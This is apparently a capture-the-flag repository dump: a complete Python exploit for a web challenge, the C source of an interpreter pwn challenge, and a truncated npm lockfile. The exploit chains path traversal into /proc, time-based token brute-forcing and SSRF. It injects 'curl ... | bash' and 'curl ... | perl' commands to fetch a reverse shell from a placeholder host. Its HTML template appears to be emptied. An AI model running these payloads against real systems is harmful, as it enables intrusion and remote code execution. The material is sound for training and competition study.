4vbm9sb2dpbgpsaXN0Ong6Mzg6Mzg6TWFpbGluZyBMaXN0IE1hbmFnZXI6L3Zhci9saXN0Oi91c3Ivc2Jpbi9ub2xvZ2luCmlyYzp4OjM5OjM5OmlyY2Q6L3Zhci9ydW4vaXJjZDovdXNyL3NiaW4vbm9sb2dpbgpnbmF0czp4OjQxOjQxOkduYXRzIEJ1Zy1SZXBvcnRpbmcgU3lzdGVtIChhZG1pbik6L3Zhci9saWIvZ25hdHM6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTAwOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMToxMDE6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpjdGY6eDoyMDAwOjIwMDA6Oi9ob21lL2N0ZjovYmluL3NoCmVwbWQ6eDoxMDI6MTAyOjovcnVuL2VwbWQ6L3Vzci9zYmluL25vbG9naW4KcmFiYml0bXE6eDoxMDM6MTA0OlJhYmJpdE1RIG1lc3NhZ2luZyBzZXJ2ZXIsLCw6L3Zhci9saWIvcmFiYml0bXE6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTA0OjEwNjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6MTA1OjEwNzpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZC9yZXNvbHZlOi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMDY6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgoKYQ==' | base64 -d > /home/ctf/app/files/a 297 | ``` 298 | 299 | ## 完整exp 300 | ``` 301 | import requests 302 | import urllib.parse 303 | 304 | host = "192.168.248.150" 305 | 306 | def getProcTime(): 307 | url = f"http://{host}/view?filename=.////////////////////////../../../../../proc/self/stat" 308 | res = requests.get(url=url) 309 | _ = res.text.split(' ') 310 | return _[21] 311 | 312 | def getBootTime(): 313 | url = f"http://{host}/view?filename=.////////////////////////../../../../../proc/stat" 314 | res = requests.get(url=url) 315 | posx = res.text.find("btime ") + len("btime ") 316 | posy = res.text.find("processes") 317 | return(res.text[posx:posy-1]) 318 | 319 | def fuzzToken(starttime): 320 | msecs = starttime 321 | nsecs = 0 322 | while True: 323 | msecs += 1 324 | if (msecs - starttime) % 100 == 0: 325 | print(f"try {msecs-starttime} reqs") 326 | tmsecs = msecs + 12219292800000 327 | tl = ((tmsecs & 0xfffffff) * 10000 + nsecs) % 0x100000000 328 | cn = hex(tl)[2:] 329 | # print(cn) 330 | try: 331 | url = f"http://{host}/iframe?token={cn}&ifrsrc=123" 332 | res = requests.get(url=url) 333 | # print(res.text) 334 | # break 335 | if res.text.find('Invalid Token') == -1: 336 | print(f"find token in {msecs-starttime} reqs") 337 | return cn 338 | except Exception as e: 339 | pass 340 | 341 | def initEnv(): 342 | url = f"http://{host}/screen?url=http://118.89.245.122" 343 | requests.get(url=url) 344 | 345 | def genHtml(rfile, token): 346 | html = '''''' 363 | url = f"http://127.0.0.1:8888/iframe?token={token}&ifrsrc={urllib.parse.quote(html)}" 364 | return url 365 | 366 | def changepasswd(token): 367 | cmd = "`curl${IFS}http://yourhost/finalstep.txt|bash`" 368 | expurl = genHtml(cmd, token) 369 | url = f"http://{host}/screen?url={urllib.parse.quote(expurl)}" 370 | print(url) 371 | return 372 | requests.get(url=url) 373 | 374 | def getshell(token): 375 | cmd = "`curl${IFS}http://yourhost/1|perl`" #reverse shell 376 | expurl = genHtml(cmd, token) 377 | url = f"http://{host}/screen?url={urllib.parse.quote(expurl)}" 378 | print(url) 379 | return 380 | requests.get(url=url) 381 | 382 | 383 | starttime = int(getProcTime())*10 + int(getBootTime())*1000 384 | token = fuzzToken(starttime) 385 | initEnv() 386 | changepasswd(token) 387 | getshell(token) 388 | # python -c 'import pty;pty.spawn("/bin/bash")' 389 | ``` -------------------------------------------------------------------------------- /Pwn/ParseC/ParseC.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define POOLSIZE (256 * 1024) // arbitrary size 10 | #define SYMTABSIZE (1024*8) // size of the symbol table stack 11 | #define MAXNAMESIZE 32 // size of variable/function name 12 | #define RETURNFLAG DBL_MAX // indicate a return statement has occured in a function 13 | 14 | /* this structure represent a symbol store in a symbol table */ 15 | typedef struct symStruct { 16 | int type; //the type of the symbol: Num, Char, Str, Array, Func 17 | char name[MAXNAMESIZE]; // record the symbol name 18 | double value; // record the symbol value, or the length of string or array 19 | union { 20 | char* funcp; // pointer to an array or an function 21 | struct symStruct* list; 22 | } pointer; 23 | int levelNum; // indicate the declare nesting level 24 | } symbol; 25 | symbol symtab[SYMTABSIZE]; 26 | int symPointer = 0; // the symbol stack pointer 27 | int currentlevel = 0; // current nesting level 28 | 29 | char *code_page; 30 | char* src, * old_src; // the text process currently 31 | 32 | enum { 33 | debug, run 34 | }; 35 | int compileState = run; // current interpre state 36 | 37 | double return_val = 0; // used for reserve the return value of function 38 | 39 | /* tokens and classes (operators last and in precedence order) */ 40 | enum { 41 | Num = 128, Char, Str, Array, Func, // variable 42 | Else, If, Return, While, Print, Puts, Read, // key word 43 | Assign, OR, AND, Equal, Sym, FuncSym, ArraySym, StrSym, Void, // 44 | Nequal, LessEqual, GreatEqual 45 | }; 46 | int token; // current token type 47 | union tokenValue { 48 | symbol* ptr; // used when return a string or a symbol address for assignment 49 | double val; // token value, for Char or Num 50 | } token_val; 51 | 52 | char error_code[0x80] = {0}; 53 | char t_value[1024] = {0}; 54 | 55 | /*--------------- function declaration ---------------*/ 56 | double function(); 57 | double statement(); 58 | int boolOR(); 59 | int boolAND(); 60 | int boolexp(); 61 | double expression(); 62 | double factor(); 63 | double term(); 64 | void match(int tk); 65 | void next(); 66 | void error(char* info); 67 | /* ------------------- lexical analysis ---------------------------------*/ 68 | /* get the next token of the input string */ 69 | void next() { 70 | char* last_pos; 71 | 72 | while (token = *src) { 73 | ++src; 74 | if (token == '\n') { // a new line 75 | if(compileState == debug) // if on debug mode, print the currnet process line 76 | printf("%.*s", (int)(src - old_src), old_src); 77 | old_src = src; 78 | } 79 | else if (token == '/') { // skip comments 80 | if (*src == '/') 81 | src++; 82 | else 83 | error("Cannot match '//' comments\n"); 84 | while (*src != 0 && *src != '\n') { 85 | src++; 86 | } 87 | } 88 | else if ((token >= 'a' && token <= 'z') || (token >= 'A' && token <= 'Z') || (token == '_')) { 89 | last_pos = src - 1; // process symbols 90 | char nameBuffer[MAXNAMESIZE]; 91 | nameBuffer[0] = token; 92 | while ((*src >= 'a' && *src <= 'z') || (*src >= 'A' && *src <= 'Z') || (*src >= '0' && *src <= '9') || (*src == '_')) { 93 | if (src + 1 - last_pos >= MAXNAMESIZE) 94 | break; 95 | nameBuffer[src - last_pos] = *src; 96 | src++; 97 | } 98 | nameBuffer[src - last_pos] = 0; // get symbol name 99 | int i; 100 | for (i = symPointer-1; i >= 0; --i) { // search symbol in symbol table 101 | if (strcmp(nameBuffer, symtab[i].name) == 0) { // if find symbol: return the token according to symbol type 102 | if (symtab[i].type == Num || symtab[i].type == Char) { 103 | token_val.ptr = &symtab[i]; 104 | token = Sym; 105 | } 106 | else if (symtab[i].type == FuncSym) { 107 | token_val.ptr = &symtab[i]; 108 | token = symtab[i].type; 109 | } 110 | else if (symtab[i].type == ArraySym) { 111 | token_val.ptr = &symtab[i]; 112 | token = symtab[i].type; 113 | } 114 | else if (symtab[i].type == Void){ 115 | token = Sym; 116 | token_val.ptr = &symtab[i]; 117 | } 118 | else if (symtab[i].type == StrSym){ 119 | token = StrSym; 120 | token_val.ptr = &symtab[i]; 121 | } 122 | else 123 | token = symtab[i].type; 124 | return; 125 | } 126 | } 127 | if (symPointer == SYMTABSIZE) 128 | error("Too many symbol defined!\n"); 129 | strncpy(symtab[symPointer].name, nameBuffer,strlen(nameBuffer)); // if symbol not found, create a new one 130 | 131 | symtab[symPointer].levelNum = currentlevel; 132 | symtab[symPointer].type = Void; 133 | token_val.ptr = &symtab[symPointer]; 134 | symPointer++; 135 | token = Sym; 136 | return; 137 | } 138 | else if (token >= '0' && token <= '9') { // process numbers 139 | token_val.val = (double)token - '0'; 140 | while (*src >= '0' && *src <= '9') { 141 | token_val.val = token_val.val * 10.0 + *src++ - '0'; 142 | } 143 | if (*src == '.') { 144 | src++; 145 | int countDig = 1; 146 | while (*src >= '0' && *src <= '9') { 147 | token_val.val = token_val.val + ((double)(*src++) - '0')/(10.0 * countDig++); 148 | } 149 | } 150 | token = Num; 151 | return; 152 | } 153 | else if (token == '\'') { // parse char 闭合问题 154 | token_val.val = *src++; 155 | token = Char; 156 | if (*src != '\'') 157 | error("wrong with char token\n"); 158 | src++; 159 | return; 160 | } 161 | else if (token == '"' ) { // parse string 162 | last_pos = src; 163 | char tval; 164 | unsigned int numCount = 0; 165 | while (*src != 0 && *src != token) { 166 | src++; 167 | numCount++; 168 | } 169 | if (*src) { 170 | token_val.ptr = malloc(sizeof(char) * numCount + 8); 171 | if (!token_val.ptr) 172 | error("Malloc error\n"); 173 | strncpy((char*)token_val.ptr, last_pos,numCount); 174 | src++; 175 | } 176 | token = Str; 177 | return; 178 | } 179 | else if (token == '=') { // parse '==' and '=' 180 | if (*src == '=') { 181 | src++; 182 | token = Equal; 183 | } 184 | return; 185 | } 186 | else if (token == '!') { // parse '!=' 187 | if (*src == '=') { 188 | src++; 189 | token = Nequal; 190 | } 191 | return; 192 | } 193 | else if (token == '<') { // parse '<=', or '<' 194 | if (*src == '=') { 195 | src++; 196 | token = LessEqual; 197 | } 198 | return; 199 | } 200 | else if (token == '>') { // parse '>=', or '>' 201 | if (*src == '=') { 202 | src++; 203 | token = GreatEqual; 204 | } 205 | return; 206 | } 207 | else if (token == '|') { // parse '||' 208 | if (*src == '|') { 209 | src++; 210 | token = OR; 211 | } 212 | return; 213 | } 214 | else if (token == '&') { // parse '&&' 215 | if (*src == '&') { 216 | src++; 217 | token = AND; 218 | } 219 | return; 220 | } 221 | else if ( token == '*' || token == '/' || token == ';' || token == ',' || token == '+' || token == '-' || 222 | token == '(' || token == ')' || token == '{' || token == '}' || token == '[' || token == ']') { 223 | return; 224 | } 225 | else if (token == ' ' || token == '\t') { } 226 | else{ 227 | sprintf(error_code,"unexpected token: %c \n", token); 228 | error(error_code); 229 | } 230 | } 231 | } 232 | 233 | void match(int tk) { 234 | if (token == tk) { 235 | if (compileState == debug) { 236 | if(isprint(tk)) 237 | printf("match: %c\n", tk ); 238 | else 239 | printf("match: %d\n", tk); 240 | } 241 | next(); 242 | } 243 | else { 244 | sprintf(error_code,"line %.*s:expected token: %c\n",(int)(src - old_src), old_src, tk); 245 | error(error_code); 246 | } 247 | } 248 | 249 | /*-------------------------- grammatical analysis and run ----------------------------------*/ 250 | 251 | double term() { 252 | double temp = factor(); 253 | while (token == '*' || token == '/') { 254 | if (token == '*') { 255 | match('*'); 256 | temp *= factor(); 257 | } 258 | else { 259 | match('/'); 260 | temp /= factor(); 261 | } 262 | } 263 | return temp; 264 | } 265 | 266 | double factor() { 267 | double temp = 0; 268 | if (token == '(') { 269 | match('('); 270 | temp = expression(); 271 | match(')'); 272 | } 273 | else if(token == Num || token == Char){ 274 | temp = token_val.val; 275 | match(token); 276 | } 277 | else if (token == Sym) { 278 | temp = token_val.ptr->value; 279 | match(Sym); 280 | } 281 | else if (token == FuncSym) { 282 | return function(); 283 | } 284 | else if (token == ArraySym) { 285 | symbol* ptr = token_val.ptr; 286 | match(ArraySym); 287 | match('['); 288 | int index = (int)expression(); 289 | if (index >= 0 && index < ptr->value) { 290 | temp = ptr->pointer.list[index].value; 291 | } 292 | match(']'); 293 | } 294 | return temp; 295 | } 296 | 297 | double expression() { 298 | double temp = term(); 299 | while (token == '+' || token == '-') { 300 | if (token == '+') { 301 | match('+'); 302 | temp += term(); 303 | } 304 | else { 305 | match('-'); 306 | temp -= term(); 307 | } 308 | } 309 | return temp; 310 | } 311 | 312 | int boolexp() { 313 | if (token == '(') { 314 | match('('); 315 | int result = boolOR(); 316 | match(')'); 317 | return result; 318 | } 319 | else if (token == '!') { 320 | match('!'); 321 | return boolexp(); 322 | } 323 | double temp = expression(); 324 | if (token == '>') { 325 | match('>'); 326 | return temp > expression(); 327 | } 328 | else if (token == '<') { 329 | match('<'); 330 | return temp < expression(); 331 | } 332 | else if (token == GreatEqual) { 333 | match(GreatEqual); 334 | return temp >= expression(); 335 | } 336 | else if (token == LessEqual) { 337 | match(LessEqual); 338 | return temp <= expression(); 339 | } 340 | else if (token == Equal) { 341 | match(Equal); 342 | return temp == expression(); 343 | } 344 | return 0; 345 | } 346 | 347 | int boolAND() { 348 | int val = boolexp(); 349 | while (token == AND) { 350 | match(AND); 351 | if (val == 0) return 0; // short cut 352 | val = val & boolexp(); 353 | if (val == 0) return 0; 354 | } 355 | return val; 356 | } 357 | 358 | int boolOR() { 359 | int val = boolAND(); 360 | while (token == OR) { 361 | match(OR); 362 | if (val == 1) return 1; // short cut 363 | val = val | boolAND(); 364 | } 365 | return val; 366 | } 367 | 368 | void skipStatments() { 369 | if(token == '{') 370 | token = *src++; 371 | int count = 0; 372 | while (token && !(token == '}' && count == 0)) { 373 | if (token == '}') count++; 374 | if (token == '{') count--; 375 | token = *src++; 376 | } 377 | match('}'); 378 | } 379 | 380 | double statement() { 381 | if (token == '{') { 382 | match('{'); 383 | while (token != '}') { 384 | if (RETURNFLAG == statement()) 385 | return RETURNFLAG; 386 | } 387 | match('}'); 388 | } 389 | else if (token == If) { 390 | match(If); 391 | match('('); 392 | int boolresult = boolOR(); 393 | match(')'); 394 | if (boolresult) { 395 | if (RETURNFLAG == statement()) 396 | return RETURNFLAG; 397 | } 398 | else skipStatments(); 399 | if (token == Else) { 400 | match(Else); 401 | if (!boolresult) { 402 | if (RETURNFLAG == statement()) 403 | return RETURNFLAG; 404 | } 405 | else skipStatments(); 406 | } 407 | } 408 | else if (token == While) { 409 | match(While); 410 | char* whileStartPos = src; 411 | char* whileStartOldPos = old_src; 412 | int boolresult; 413 | do { 414 | src = whileStartPos; 415 | old_src = whileStartOldPos; 416 | token = '('; 417 | match('('); 418 | boolresult = boolOR(); 419 | match(')'); 420 | if (boolresult) { 421 | if (RETURNFLAG == statement()) 422 | return RETURNFLAG; 423 | } 424 | else skipStatments(); 425 | }while (boolresult); 426 | } 427 | else if (token == Sym || token == ArraySym || token == StrSym) { 428 | symbol* s = token_val.ptr; 429 | int tktype = token; 430 | int index; 431 | match(tktype); 432 | if (tktype == ArraySym) { 433 | match('['); 434 | index = expression(); 435 | match(']'); 436 | match('='); 437 | if (index >= 0 && index < s->value) { 438 | s->pointer.list[index].value = expression(); 439 | } 440 | else{ 441 | printf("line %.*s: Index out of range\n",(int)(src - old_src), old_src); 442 | exit(-1); 443 | } 444 | } 445 | else { 446 | match('='); 447 | if (token == Str) { 448 | if (s->pointer.funcp) 449 | free(s->pointer.funcp); 450 | s->pointer.funcp = (char*)token_val.ptr; 451 | s->type = StrSym; 452 | match(Str); 453 | } 454 | else if (token == Char) { 455 | s->value = token_val.val; 456 | s->type = Char; 457 | match(Char); 458 | } 459 | else if (token == StrSym){ 460 | s->type = token_val.ptr->type; 461 | s->value = token_val.ptr->value; 462 | s->pointer = token_val.ptr->pointer; 463 | match(StrSym); 464 | } 465 | else{ 466 | s->value = expression(); 467 | s->type = Num; 468 | } 469 | } 470 | match(';'); 471 | } 472 | else if (token == Array) { 473 | match(Array); 474 | symbol* s = token_val.ptr; 475 | match(Sym); 476 | match('('); 477 | int length = (int)expression(); 478 | match(')'); 479 | s->pointer.list = (symbol*)malloc(sizeof(struct symStruct) * length + 1); 480 | if (!s->pointer.list) 481 | error("Malloc error\n"); 482 | for (int i = 0; i < length; ++i) 483 | s->pointer.list[i].type = Num; 484 | s->value = length; 485 | s->type = ArraySym; 486 | match(';'); 487 | } 488 | else if (token == Func) { 489 | match(Func); 490 | symbol* s = token_val.ptr; 491 | s->type = FuncSym; 492 | match(Sym); 493 | s->pointer.funcp = src; 494 | s->value = token; 495 | skipStatments(); 496 | match(';'); 497 | } 498 | else if (token == Return) { 499 | match(Return); 500 | match('('); 501 | return_val = expression(); 502 | match(')'); 503 | match(';'); 504 | return RETURNFLAG; 505 | } 506 | else if (token == Print || token == Read || token == Puts) { 507 | int func = token; 508 | double temp; 509 | match(func); 510 | match('('); 511 | switch (func) { 512 | case Print: 513 | temp = expression(); 514 | printf("%lf\n", temp); 515 | break; 516 | case Puts: 517 | if (token == StrSym){ 518 | printf("%s\n", token_val.ptr->pointer.funcp); 519 | match(StrSym); 520 | } 521 | else{ 522 | printf("%s\n", (char*)token_val.ptr); 523 | match(Str); 524 | } 525 | break; 526 | case Read: 527 | memset(t_value,0,1024); 528 | read(0,t_value,1024); 529 | token_val.ptr->value = atof(t_value); 530 | //scanf("%lf", &token_val.ptr->value); 531 | token_val.ptr->type = Num; 532 | match(Sym); 533 | } 534 | match(')'); 535 | match(';'); 536 | } 537 | else if (token == FuncSym){ 538 | function(); 539 | match(';'); 540 | } 541 | return 0; 542 | } 543 | 544 | void error(char *info){ 545 | write(1,info,strlen(info)); 546 | free(code_page); 547 | exit(-1); 548 | } 549 | 550 | double function() { 551 | currentlevel++; 552 | return_val = 0; 553 | 554 | symbol* s = token_val.ptr; 555 | match(FuncSym); 556 | match('('); 557 | while (token != ')') { 558 | symtab[symPointer] = *token_val.ptr; 559 | strcpy(symtab[symPointer].name, token_val.ptr->name); 560 | symtab[symPointer].levelNum = currentlevel; 561 | symPointer++; 562 | match(Sym); 563 | if (token == ',') 564 | match(','); 565 | } 566 | match(')'); 567 | char* startPos = src; 568 | char* startOldPos = old_src; 569 | int startToken = token; 570 | old_src = src = s->pointer.funcp; 571 | token = (int)s->value; 572 | statement(); 573 | src = startPos; 574 | old_src = startOldPos; 575 | token = startToken; 576 | 577 | while (symtab[symPointer - 1].levelNum == currentlevel) { 578 | symPointer--; 579 | } 580 | currentlevel--; 581 | return return_val; 582 | } 583 | 584 | /*----------------------------------------------------------------*/ 585 | 586 | int main(int argc, char** argv) 587 | { 588 | setvbuf(stdin, 0, _IONBF, 0); 589 | setvbuf(stdout, 0, _IONBF, 0); 590 | setvbuf(stderr, 0, _IONBF, 0); 591 | int i, fd; 592 | src = "array func else if return while print puts read"; 593 | for (i = Array; i <= Read; ++i) { 594 | next(); 595 | symtab[symPointer -1].type = i; 596 | } 597 | if (!(src = old_src = code_page = (char*)malloc(POOLSIZE))) { 598 | printf("could not malloc(%d) for source area\n", POOLSIZE); 599 | return -1; 600 | } 601 | 602 | ++argv; --argc; 603 | if (argc > 0) { 604 | if (**argv == '-' && (*argv)[1] == 'd') { 605 | compileState = debug; 606 | ++argv; --argc; 607 | } 608 | else { 609 | compileState = run; 610 | } 611 | } 612 | 613 | if (argc < 1) { 614 | printf("usage: tryc [-d] file ...\n"); 615 | return -1; 616 | } 617 | 618 | if ((fd = open(*argv, 0)) < 0) { // read the source file 619 | printf("could not open source file\n"); 620 | return -1; 621 | } 622 | if ((i = read(fd, src, POOLSIZE - 1)) <= 0) { 623 | printf("read() returned %d\n", i); 624 | return -1; 625 | } 626 | 627 | src[i] = 0; // add EOF character 628 | close(fd); 629 | next(); 630 | while (token != 0) { 631 | statement(); 632 | } 633 | return 0; 634 | } 635 | 636 | 637 | -------------------------------------------------------------------------------- /Web/oooooooldjs/src/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "oooooooldjs", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "abab": { 8 | "version": "2.0.5", 9 | "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.5.tgz", 10 | "integrity": "sha512-9IK9EadsbHo6jLWIpxpR6pL0sazTXV6+SQv25ZB+F7Bj9mJNaOc4nCRabwd5M/JwmUa8idz6Eci6eKfJryPs6Q==" 11 | }, 12 | "accepts": { 13 | "version": "1.3.7", 14 | "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz", 15 | "integrity": "sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==", 16 | "requires": { 17 | "mime-types": "~2.1.24", 18 | "negotiator": "0.6.2" 19 | } 20 | }, 21 | "acorn": { 22 | "version": "7.4.1", 23 | "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", 24 | "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==" 25 | }, 26 | "acorn-globals": { 27 | "version": "6.0.0", 28 | "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz", 29 | "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==", 30 | "requires": { 31 | "acorn": "^7.1.1", 32 | "acorn-walk": "^7.1.1" 33 | } 34 | }, 35 | "acorn-walk": { 36 | "version": "7.2.0", 37 | "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz", 38 | "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==" 39 | }, 40 | "ajv": { 41 | "version": "6.12.6", 42 | "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", 43 | "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", 44 | "requires": { 45 | "fast-deep-equal": "^3.1.1", 46 | "fast-json-stable-stringify": "^2.0.0", 47 | "json-schema-traverse": "^0.4.1", 48 | "uri-js": "^4.2.2" 49 | } 50 | }, 51 | "array-flatten": { 52 | "version": "1.1.1", 53 | "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", 54 | "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=" 55 | }, 56 | "asn1": { 57 | "version": "0.2.4", 58 | "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", 59 | "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", 60 | "requires": { 61 | "safer-buffer": "~2.1.0" 62 | } 63 | }, 64 | "assert-plus": { 65 | "version": "1.0.0", 66 | "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", 67 | "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" 68 | }, 69 | "asynckit": { 70 | "version": "0.4.0", 71 | "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", 72 | "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" 73 | }, 74 | "aws-sign2": { 75 | "version": "0.7.0", 76 | "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", 77 | "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=" 78 | }, 79 | "aws4": { 80 | "version": "1.10.1", 81 | "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.10.1.tgz", 82 | "integrity": "sha512-zg7Hz2k5lI8kb7U32998pRRFin7zJlkfezGJjUc2heaD4Pw2wObakCDVzkKztTm/Ln7eiVvYsjqak0Ed4LkMDA==" 83 | }, 84 | "bcrypt-pbkdf": { 85 | "version": "1.0.2", 86 | "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", 87 | "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", 88 | "requires": { 89 | "tweetnacl": "^0.14.3" 90 | } 91 | }, 92 | "body-parser": { 93 | "version": "1.19.0", 94 | "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", 95 | "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", 96 | "requires": { 97 | "bytes": "3.1.0", 98 | "content-type": "~1.0.4", 99 | "debug": "2.6.9", 100 | "depd": "~1.1.2", 101 | "http-errors": "1.7.2", 102 | "iconv-lite": "0.4.24", 103 | "on-finished": "~2.3.0", 104 | "qs": "6.7.0", 105 | "raw-body": "2.4.0", 106 | "type-is": "~1.6.17" 107 | }, 108 | "dependencies": { 109 | "qs": { 110 | "version": "6.7.0", 111 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", 112 | "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==" 113 | } 114 | } 115 | }, 116 | "browser-process-hrtime": { 117 | "version": "1.0.0", 118 | "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz", 119 | "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==" 120 | }, 121 | "bytes": { 122 | "version": "3.1.0", 123 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", 124 | "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==" 125 | }, 126 | "caseless": { 127 | "version": "0.12.0", 128 | "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", 129 | "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=" 130 | }, 131 | "combined-stream": { 132 | "version": "1.0.8", 133 | "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", 134 | "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", 135 | "requires": { 136 | "delayed-stream": "~1.0.0" 137 | } 138 | }, 139 | "content-disposition": { 140 | "version": "0.5.3", 141 | "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", 142 | "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", 143 | "requires": { 144 | "safe-buffer": "5.1.2" 145 | }, 146 | "dependencies": { 147 | "safe-buffer": { 148 | "version": "5.1.2", 149 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", 150 | "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" 151 | } 152 | } 153 | }, 154 | "content-type": { 155 | "version": "1.0.4", 156 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", 157 | "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" 158 | }, 159 | "cookie": { 160 | "version": "0.4.0", 161 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", 162 | "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==" 163 | }, 164 | "cookie-signature": { 165 | "version": "1.0.6", 166 | "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", 167 | "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" 168 | }, 169 | "core-util-is": { 170 | "version": "1.0.2", 171 | "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", 172 | "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" 173 | }, 174 | "cssom": { 175 | "version": "0.4.4", 176 | "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz", 177 | "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==" 178 | }, 179 | "cssstyle": { 180 | "version": "2.3.0", 181 | "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", 182 | "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", 183 | "requires": { 184 | "cssom": "~0.3.6" 185 | }, 186 | "dependencies": { 187 | "cssom": { 188 | "version": "0.3.8", 189 | "resolved": 